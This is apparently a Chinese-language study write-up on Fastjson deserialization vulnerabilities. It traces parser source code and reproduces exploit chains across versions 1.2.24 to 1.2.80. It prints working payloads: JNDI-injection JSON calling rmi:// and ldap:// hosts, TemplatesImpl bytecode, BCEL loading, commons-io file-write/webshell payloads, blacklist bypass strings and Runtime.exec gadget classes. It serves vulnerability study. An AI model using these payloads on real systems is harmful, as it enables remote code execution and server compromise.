Fastjson回顾
这里先来回顾一下fastjson怎么使用,其实研究具体的漏洞主要就是fastjson的序列化和反序列化
先来创建一个类
package com.ocean;
publicclassUser{
String name;
int age;
int id;
publicUser(){
System.out.println("无参构造");
}
publicUser(String name, int age, int id){
System.out.println("有参构造");
this.name = name;
this.age = age;
this.id = id;
}
public String getName(){
System.out.println("get name");
return name;
}
publicvoidsetName(String name){
System.out.println("set name");
this.name = name;
}
publicintgetAge(){
System.out.println("getage");
return age;
}
publicvoidsetAge(int age){
System.out.println("set age");
this.age = age;
}
publicintgetId(){
System.out.println("get id");
return id;
}
publicvoidsetId(int id){
System.out.println("set id");
this.id = id;
}
@Override
public String toString(){
return"User{" +
"name='" + name + ''' +
", age=" + age +
", id=" + id +
'}';
}
}
接下来开始实验
publicstaticvoidmain(String[] args){
//将一个java对象序列化为json字符串
User ocean = new User("ocean", 22, 123456);
String jsonString = JSON.toJSONString(ocean);
System.out.println(jsonString);
//将一个json字符传反序列化为 java对象
//json字符串还原位对象的两种方法:
//这里使用parse会将jsonstring反序列化成json对象
Object parse = JSON.parse(jsonString);
System.out.println(parse.getClass().getName());
//这里使用paseObject会将jsonstring反序列化成json对象
JSONObject jsonObject = JSON.parseObject(jsonString);
System.out.println(jsonObject.getClass().getName());
//使用parseObject将json字符串反学列化成指定的java对象
User user = JSON.parseObject(jsonString, User.class);
System.out.println(user);
}
可以看到,如果我们反序列化时不指定特定的类,那么Fastjosn就默认将一个JSON字符串反序列化为一个JSONObject。需要注意的是,对于类中private
类型的属性值,Fastjson默认不会将其序列化和反序列化。
Fastjson中的@type
当我们在使用Fastjson序列化对象的时候,如果toJSONString()
方法不添加额外的属性,那么就会将一个Java Bean转换成JSON字符串。
如果我们想把JSON字符串反序列化成Java Object,可以使用parse()
方法。该方法默认将JSON字符串反序列化为一个JSONObject对象
那么我们怎么将JSON字符串反序列化为原始的类呢?这里有两种方法
第一种是序列化的时候,在toJSONString()
方法中添加额外的属性SerializerFeature._WriteClassName_
,将对象类型一并序列化,如下所示
String jsonString1 = JSON.toJSONString(ocean, SerializerFeature.WriteClassName);
System.out.println(jsonString1);
输出
{"@type":"com.ocean.User","age":22,"id":123456,"name":"ocean"}
在反序列化时parse就会根据@type标识将其转换为原来的类
Object parse1 = JSON.parse(jsonString1);
System.out.println(parse1);
可以看到在进行反序列化时会调用这个类的无参构造和set方法
再来看看parseObject方法
JSONObject jsonObject1 = JSON.parseObject(jsonString1);
System.out.println(jsonObject1);
可以看到不仅会调用无参构造还会调用set和get方法,这就是他们的区别。总结一下
json字符串还原位对象的两种方法:
//parse反序列化
Object parse1 = JSON.parse(jsonString1);
System.out.println(parse1);
//parseObject反序列化
JSONObject jsonObject1 = JSON.parseObject(jsonString1);
System.out.println(jsonObject1);
区别在于parse方法在调用时会调用set方法
parseObject在调用时会调用set get方法
跟进看看
漏洞原理
这里记录一下漏洞原理源码调试分析一下
在进行parse的时候会重载,然后在进判断是否为空不为空就继续执行,跟到DefaultJSONParser里面看看
继续跟
判断第一个字符是不是{
如果是,就把token设置为12 ,不是就是14
走完这里回溯到
跟到这个parse方法里
跟进parseObject里
这里这个方法会获取返回@type的这个字符串
走到下面会发现又调用了scanSymbol方法会返回@type的值也就是要反序列化的类,然后会调用loadclass去加载@type指定的类。
往下走跟到这里跟进去
继续跟进去
跟进去
到这里会去build里面通过反射查找get set方法。所以这里引用别人的总结
也就是说当我们指定@type
为恶意类时,并且其getter/setter有着一定危害时,就会出现无法预估的危害,重点就在于其会自动执行getter/setter,简单的来解释下原理就是通过反射调用get方法获取值,相应的就是通过反射调用set方法存储值,其中getter自动调用还需要满足以下条件:
-
方法名长度大于4 -
非静态方法 -
以get开头且第四个字母为大写 -
无参数传入 -
返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
setter自动调用需要满足以下条件:
-
方法名长度大于4 -
非静态方法 -
返回值为void或者当前类 -
以set开头且第四个字母为大写 -
参数个数为1个
除此之外Fastjson还有以下功能点:
-
如果目标类中私有变量没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField
参数 -
fastjson 在为类属性寻找getter/setter方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
方法,会忽略_ -
字符串 -
fastjson 在反序列化时,如果Field类型为byte[],将会调用 com.alibaba.fastjson.parser.JSONScanner#bytesValue
进行base64解码,在序列化时也会进行base64编码
fastjson1.2.24
JdbcRowSetImpl利用链
这里直接看起漏洞点
是这个set方法前面说setter方法自动调用的利用条件这里都满足了,这里conn如果是空的话就会调用connect方法跟到connect方法里看看
看到有一个很明显的jndi注入。并且datasourcename可控
所以可以直接写payload了
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.169.5.52:1099/kyesra","autoCommit":true}
这条链有版本、依赖、出网限制
Fastjson不出网
BCEl链
bcel具体原理和用法参考java 动态加载字节码,里面有介绍这里我们来学习一下如何结合fastjson进行利用。
这条链的利用需要结合tomcat-dbcp依赖来看一下具体的关键点,主要是利用了BasicDataSource这个类
这个类里面有一个createConnectionFactory方法,里面调用了Class.forName,这个我们知道底层也是调用的loadclass方法去加载类。
这里可以看这个方法里的逻辑,如果driverClassLoader不是空的话就会调用这个forName,加载driverClassName,那么我们如果能将这个属性改为bcel的恶意的classname那么就可以触发漏洞,所以需要找到一个set方法可以找到其实是有的
那么现在就是要找到一个get set方法在反序列化过程中能够触发createConnectionFactory方法这里也是有的
可以找到
这个类里有getconnection方法,最后会调用createDataSource方法跟进去看看
这里又调用了createConnectionFactory所以这条利用链就完整了。
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import java.io.IOException;
import java.sql.SQLException;
publicclassBcelLoad{
publicstaticvoidmain(String[] args)throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, SQLException {
JavaClass javaClass = Repository.lookupClass(Evil.class);
String encode ="$$BCEL$$" + Utility.encode(javaClass.getBytes(), true);
BasicDataSource basicDataSource = new BasicDataSource();
basicDataSource.setDriverClassLoader(new ClassLoader());
basicDataSource.setDriverClassName(encode);
basicDataSource.getConnection();
}
}
在写成json的形式
package com.ocean;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import java.io.IOException;
import java.sql.SQLException;
publicclassBcelLoad{
publicstaticvoidmain(String[] args)throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, SQLException {
JavaClass javaClass = Repository.lookupClass(Evil.class);
String encode = Utility.encode(javaClass.getBytes(), true);
String s = "{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassName":" +
""$$BCEL$$" + encode + "","driverClassloader":" +
"{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"}}";
JSON.parseObject(s);
}
}
TemplatesImpl链
这里先去看看TemplatesImpl加载字节码的用法java 动态加载字节码
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
publicclassEvilClassextendsAbstractTranslet{
publicEvilClass()throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
@Override
publicvoidtransform(DOM document, SerializationHandler[] handlers)throws TransletException{
}
publicvoidtransform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)throws TransletException{
}
publicstaticvoidmain(String[] args)throws Exception{
EvilClass evilClass = new EvilClass();
}
}
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;
import java.util.Base64.Encoder;
publicclassHelloWorld{
publicstaticvoidmain(String args[]){
byte[] buffer = null;
String filepath = "/Users/ocean/Cybersecurity/Java_project/FastjsonStu/target/test-classes/org/example/EvilClass.class";
try {
FileInputStream fis = new FileInputStream(filepath);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] b = newbyte[1024];
int n;
while((n = fis.read(b))!=-1) {
bos.write(b,0,n);
}
fis.close();
bos.close();
buffer = bos.toByteArray();
}catch(Exception e) {
e.printStackTrace();
}
Encoder encoder = Base64.getEncoder();
String value = encoder.encodeToString(buffer);
System.out.println(value);
}
}
这是生成的恶意字节码的流程
这里我先贴出网上的payload
String payload = "{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMb3JnL2V4YW1wbGUvRXZpbENsYXNzOwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAJZXZpbENsYXNzBwAuAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAIAAkHAC8MADAAMQEAEm9wZW4gLWEgQ2FsY3VsYXRvcgwAMgAzAQAVb3JnL2V4YW1wbGUvRXZpbENsYXNzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAAAwABAANAA0ADgAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABMADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAPAAAABAABABcAAQARABgAAgAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABYADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAZABoAAgAAAAEAGwAcAAMADwAAAAQAAQAXAAkAHQAeAAIACgAAAEEAAgACAAAACbsABVm3AAZMsQAAAAIACwAAAAoAAgAAABkACAAaAAwAAAAWAAIAAAAJAB8AIAAAAAgAAQAhAA4AAQAPAAAABAABACIAAQAjAAAAAgAkn"],'_name':'exp','_tfactory':{ },"_outputProperties":{ }}";
JSON.parseObject(payload, Feature.SupportNonPublicField);
这里来调试一遍执行流程
在前面的分析过程中我们知道了在使用parseObject进行json反序列化的时候会自动调用 对应类的get 和 set方法
所以这里可以找到TemplatesImpl类里的触发点事getOutputProperties方法
可以看到这里调用了newTransformer方法所以后面的执行流程就很明确了直接参考TemplatesImpl动态加载字节码就可以了。这条链子属于比较难利用的点因为其赋值的属性都是private所以需要开启配置选项。
Commons-io 写文件/webshell
我这里把poc复制过来
Jre8 原始poc
{
"x":{
"@type":"java.lang.AutoCloseable",
"@type":"sun.rmi.server.MarshalOutputStream",
"out":{
"@type":"java.util.zip.InflaterOutputStream",
"out":{
"@type":"java.io.FileOutputStream",
"file":"/tmp/dest.txt",
"append":false
},
"infl":{
"input":"eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="
},
"bufLen":1048576
},
"protocolVersion":1
}
}
commons-io 2.0 - 2.6 版本:
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}
commons-io 2.7 - 2.8.0 版本:
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)",
"start":0,
"end":2147483647
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"charsetName":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
参考:https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg
https://xz.aliyun.com/t/12492?
https://www.cnblogs.com/zpchcbd/p/14969606.html?ref=www.ctfiot.com
https://github.com/lemono0/FastJsonParty/blob/main/FastJson1268%E5%86%99%E6%96%87%E4%BB%B6RCE%E6%8E%A2%E7%A9%B6.md
C3p0 hex链
C3P0链
参考:https://forum.butian.net/share/2868
https://goodapple.top/archives/1749
https://xz.aliyun.com/t/12286?
1.2.25-1.2.41Bypass
先来看看是怎么修复的
加了一个autoTypeSupport 这个默认值为false,如果为True的话在与下面的acceptList白名单进行匹配如果通过就调用loadclass之后在与denyList黑名单进行匹配,如果匹配就直接跑出异常
这是这三个值的定义
白名单默认为空,从配置文件里加载 黑名单自己跟进去看看吧有点长截不全,就是一些常见的恶意链的利用的类。
这里我们先看看如果不在黑名单他的下面执行流程是怎么样的
这里会先从这个mapping的缓存里去找,如果这里没有的话会去下面的反序列化器里去找,这里都不是重点
继续向下看
如果这个autotype为false的话会在走一遍黑名单和白名单的过滤如果为true会进入到TypeUtils的loadclass方法里
跟进去看看
主要看红框中的代码
-
如果以 [
开头则去掉[
后进行类加载(在之前Fastjson已经判断过是否为数组了,实际走不到这一步) -
如果以 L
开头,以;
结尾,则去掉开头和结尾进行类加载
那么加上L
开头和;
结尾实际上就可以绕过所有黑名单
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String json= "{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://10.37.129.2:1099/l1pwqj","autoCommit":true}";
JSON.parseObject(json);
这里有限制就是需要这里关闭白名单限制才可以执行。
1.2.42版本绕过
这里使用了hashcode进行截取将L和;之间的类名截取出来
所以这里只需要双写就可以绕过,但是同样的也需要手动设置为true
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String json= "{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://10.37.129.2:1099/l1pwqj","autoCommit":true}";
JSON.parseObject(json);
1.2.43bypass
在此版本中,checkAutoType
对LL
进行了判断,如果类以LL
开头,则直接抛出异常
在TypeUtils.loadClass
中,还对[
进行了处理,因此又可以通过[
来进行绕过,具体可以根据报错抛出的异常来进行构造payload
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName":"ldap://localhost:1399/Exploit",
"autoCommit":true
}
1.2.45bypass
1.2.45版本添加了一些黑名单,但是存在组件漏洞,我们能通过mybatis组件进行JNDI接口调用,进而加载恶意类。
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:9999/EXP"
}
}
1.2.47bypass
此版本可以不需要开启autotype,具体逻辑看白日梦组长的视频
还是在checkautotype里面
可以看到这里会加载缓存里有没有存在的已经加载过的,如果有就直接返回clazz
而在ParserConfig
类初始化时会执行initDeserializers
方法,会向deserializers
中添加许多的类,类似一种缓存,其中会添加这么一个类this.deserializers.put(Class.class, MiscCodec.instance);
他在执行反序列化的时候会调用loadclass方法
也就是我们传的字符串会传入到这个loadclass里面
然后他会把它放到mapping里面,然后在后面进行chekautotype的时候我们前面说过如果有会直接返回所以这里就绕过了检查
现在来看看在那里给strVal赋值
再去找objval
可以看到如果不是val就会报错,所以前半段的payload应该是
{
//满足clazz为Class.class
"@type":"java.lang.Class",
//有val,且值为我们要写入mapping的恶意类
"val":"com.sun.rowset.JdbcRowSetImpl"
}
上文我们已经分析过了,通过从mapping
中加载恶意类可以绕过checkAutoType()
的检测,当我们第二次进入checkAutoType()的时候,就会从mapping中获取恶意类
String json = "{"1":{"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"},"2": {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://10.37.129.2:1099/l1pwqj", "autoCommit": true}}";
JSON.parseObject(json);
1.2.68Bypass
本次绕过checkAutoType()函数的关键点在于其第二个参数expectClass,可以通过构造恶意JSON数据、传入某个类作为expectClass参数再传入另一个expectClass类的子类或实现类来实现绕过checkAutoType()函数执行恶意操作。
简单地说,本次绕过checkAutoType()函数的攻击步骤为:
-
先传入某个类,其加载成功后将作为expectClass参数传入checkAutoType()函数; -
查找expectClass类的子类或实现类,如果存在这样一个子类或实现类其构造方法或setter方法中存在危险操作则可以被攻击利用; -
条件
-
Fastjson <= 1.2.68; -
利用类必须是expectClass类的子类或实现类,并且不在黑名单中;
package vul;
publicclassVulAutoCloseableimplementsAutoCloseable{
publicVulAutoCloseable(String cmd){
try {
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
publicvoidclose()throws Exception {
}
}
{"@type":"java.lang.AutoCloseable","@type":"vul.VulAutoCloseable","cmd":"calc"}
具体调试流程参考http://www.mi1k7ea.com/2021/02/08/Fastjson%E7%B3%BB%E5%88%97%E5%85%AD%E2%80%94%E2%80%941-2-48-1-2-68%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
文章收藏了
自己跟一下调用流程,声明一下我这里是从漏洞触发点去跟的不是按源码找的主要是记录复现这个绕过原理
可以看到已经是我们指定的autocloseable这个类
这里就是一些常规判断,这里我们直接跳到关键点
这里从缓存中加载这个类
可以看到这个类是默认在mappings初始化会put进去的
然后就会直接返回
接着,返回到DefaultJSONParser类中获取到clazz后再继续执行,根据java.lang.AutoCloseable类获取到反序列化器为JavaBeanDeserializer,然后应用该反序列化器进行反序列化操作:
继续往下走
会二次进入checkAutoType里ypeName参数是PoC中第二个指定的类,expectClass参数则是PoC中第一个指定的类:
继续向下跟
这里因为autocloseable不在黑名单中会给赋值为true
这里我们自定义的类是不在黑白名单中的所以没啥用继续向下走
走到这里面和上面一样继续跟
这里可以知道之前赋值为expectClassFlag为true所以会调用 loadClass去加载我们的恶意类
看看主要的逻辑就可以了,这里会加载恶意类返回
这里判断是否jsonType、true的话直接添加Mapping缓存并返回类,否则接着判断返回的类是否是ClassLoader、DataSource、RowSet等类的子类,是的话直接抛出异常,这也是过滤大多数JNDI注入Gadget的机制:
前面的都能通过,往下,如果expectClass不为null,则判断目标类是否是expectClass类的子类,是的话就添加到Mapping缓存中并直接返回该目标类,否则直接抛出异常导致利用失败,这里就解释了为什么恶意类必须要继承AutoCloseable接口类,因为这里expectClass为AutoCloseable类、因此恶意类必须是AutoCloseable类的子类才能通过这里的判断
走出检查之后就会真正反序列化恶意类然后执行命令了
记录下y4er师傅的payload
Runnable
package org.heptagram.fastjson;
import java.io.IOException;
publicclassExecRunnableimplementsAutoCloseable{ private EvalRunnable eval;
public EvalRunnable getEval(){ return eval; }
publicvoidsetEval(EvalRunnable eval){ this.eval = eval; }
@Overridepublicvoidclose()throws Exception {
}}
classEvalRunnableimplementsRunnable{ private String cmd;
public String getCmd(){ System.out.println("EvalRunnable getCmd() "+cmd); try { Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd}); } catch (IOException e) { e.printStackTrace(); } return cmd; }
publicvoidsetCmd(String cmd){ this.cmd = cmd; }
@Overridepublicvoidrun(){
}}
package org.heptagram.fastjson;
import com.alibaba.fastjson.JSONObject;
publicclassExecRunnableMain{ publicstaticvoidmain(String[] args){ String payload ="{n" + " "@type":"java.lang.AutoCloseable",n" + " "@type": "org.heptagram.fastjson.ExecRunnable",n" + " "eval":{"@type":"org.heptagram.fastjson.EvalRunnable","cmd":"calc.exe"}n" + "}"; JSONObject.parseObject(payload); }}
Readable
package org.heptagram.fastjson;
import java.io.IOException;import java.nio.CharBuffer;
publicclassExecReadableimplementsAutoCloseable{ private EvalReadable eval;
public EvalReadable getEval(){ return eval; }
publicvoidsetEval(EvalReadable eval){ this.eval = eval; }
@Overridepublicvoidclose()throws Exception {
}}
classEvalReadableimplementsReadable{ private String cmd;
public String getCmd(){ System.out.println("EvalReadable getCmd() "+cmd); try { Runtime.getRuntime().exec(new String[]{"cmd", "/c", cmd}); } catch (IOException e) { e.printStackTrace(); }
return cmd; }
publicvoidsetCmd(String cmd){ this.cmd = cmd; }
@Overridepublicintread(CharBuffer cb)throws IOException { return0; }}
package org.heptagram.fastjson;
import com.alibaba.fastjson.JSONObject;
publicclassExecReadableMain{ publicstaticvoidmain(String[] args){ String payload ="{n" + " "@type":"java.lang.AutoCloseable",n" + " "@type": "org.heptagram.fastjson.ExecReadable",n" + " "eval":{"@type":"org.heptagram.fastjson.EvalReadable","cmd":"calc.exe"}n" + "}"; JSONObject.parseObject(payload); }}
$ref拓展使用
通过$ref引用功能,我们可以触发大部分getter方法,理论上当存在危险的method方法时我们可以通过此种方法在不开启AutoType的情况下来实现RCE,下面以threedr3am师傅提供的payload为例(代码部分取自Y4er师傅):
package org.heptagram.fastjson;
import com.alibaba.fastjson.JSON;import org.apache.shiro.jndi.JndiLocator;import org.apache.shiro.util.Factory;import javax.naming.NamingException;
publicclassRefRCE <T> extendsJndiLocatorimplementsFactory<T>, AutoCloseable{ private String resourceName;
publicRefRCE(){ }
public T getInstance(){ System.out.println(getClass().getName() + ".getInstance() invoke."); try { return (T) this.lookup(this.resourceName); } catch (NamingException var3) { thrownew IllegalStateException("Unable to look up with jndi name '" + this.resourceName + "'.", var3); } }
public String getResourceName(){ System.out.println(getClass().getName() + ".getResourceName() invoke."); returnthis.resourceName; }
publicvoidsetResourceName(String resourceName){ System.out.println(getClass().getName() + ".setResourceName() invoke."); this.resourceName = resourceName; }
@Overridepublicvoidclose()throws Exception { }}
载荷部分:
package org.heptagram.fastjson;
import com.alibaba.fastjson.JSON;
publicclassRefRCEMain{ publicstaticvoidmain(String[] args){ String json = "{n" + " "@type":"java.lang.AutoCloseable",n" + " "@type": "org.heptagram.fastjson.RefRCE",n" + " "resourceName": "ldap://localhost:1099/Exploit",n" + " "instance": {n" + " "$ref": "$.instance"n" + " }n" + "}"; System.out.println(json); JSON.parse(json);
}}
具体参考:https://mp.weixin.qq.com/s/DKG058MCQ8CEI_2ePe2s4g
1.2.80bypass
参考:https://y4er.com/posts/fastjson-1.2.80
payload参考:https://github.com/su18/hack-fastjson-1.2.80
fastjson版本号如何确定
参考:https://blog.csdn.net/m0_71692682/article/details/125814861
fastjson原生反序列化1.2.48
在前面学习的过程中其实也有注意懂啊json在进行tosting方法时也会触发getter 方法
package com.ocean;
public class User {
String name;
int age;
int id;
public User() {
System.out.println("无参构造");
}
public User(String name, int age, int id) {
System.out.println("有参构造");
this.name = name;
this.age = age;
this.id = id;
}
public String getName() {
System.out.println("get name");
return name;
}
public void setName(String name) {
System.out.println("set name");
this.name = name;
}
public int getAge() {
System.out.println("getage");
return age;
}
public void setAge(int age) {
System.out.println("set age");
this.age = age;
}
public int getId() {
System.out.println("get id");
return id;
}
public void setId(int id) {
System.out.println("set id");
this.id = id;
}
@Override
public String toString() {
return"User{" +
"name='" + name + ''' +
", age=" + age +
", id=" + id +
'}';
}
}
可以看到测试出来的结果是先调用类的构造方法再去调用类中的getter方法。跟一下
这里会继续跟进几个toJSONString方法里直接略过到后面部分
会在最后一个toJSONString方法中调用write方法,我们跟进看看流程
这里会去获取writer对象跟进
这里会调用SerializeConfig的getObjectWriter方法跟进
这部分的流程就复杂了点但其实也没啥关键点,他这里会去获取我们的自定义类的writer对象但是一直都是空的继续跟到下面的逻辑里去
这里就是会判断我们的类是不是他初始化时自定义的子类其实都不是继续向下走
这里会给我们创建序列化器然后返回我们的writer,继续走
会调用write方法这里是通过asm进行创建的具体可以看看下面这几篇师傅讲的
参考:https://mp.weixin.qq.com/s/KXVMe_F4u6jw60C6VZFIAA (跟的挺细的可以看看)
https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E5%A6%82%E4%BD%95%E8%A7%A6%E5%8F%91getter%E6%96%B9%E6%B3%95
https://xz.aliyun.com/t/14896
在引用y4师傅前面的话
:::tips 既然是与原生反序列化相关,那我们去fastjson包里去看看哪些类继承了Serializable接口即可,最后找完只有两个类,JSONArray与JSONObject,这里我们就挑第一个来讲(实际上这两个在原生反序列化当中利用方式是相同的)
首先我们可以在IDEA中可以看到,虽然JSONArray有implement这个Serializable接口但是它本身没有实现readObject方法的重载,并且继承的JSON类同样没有readObject方法,那么只有一个思路了,通过其他类的readObject做中转来触发JSONArray或者JSON类当中的某个方法最终实现串链
:::
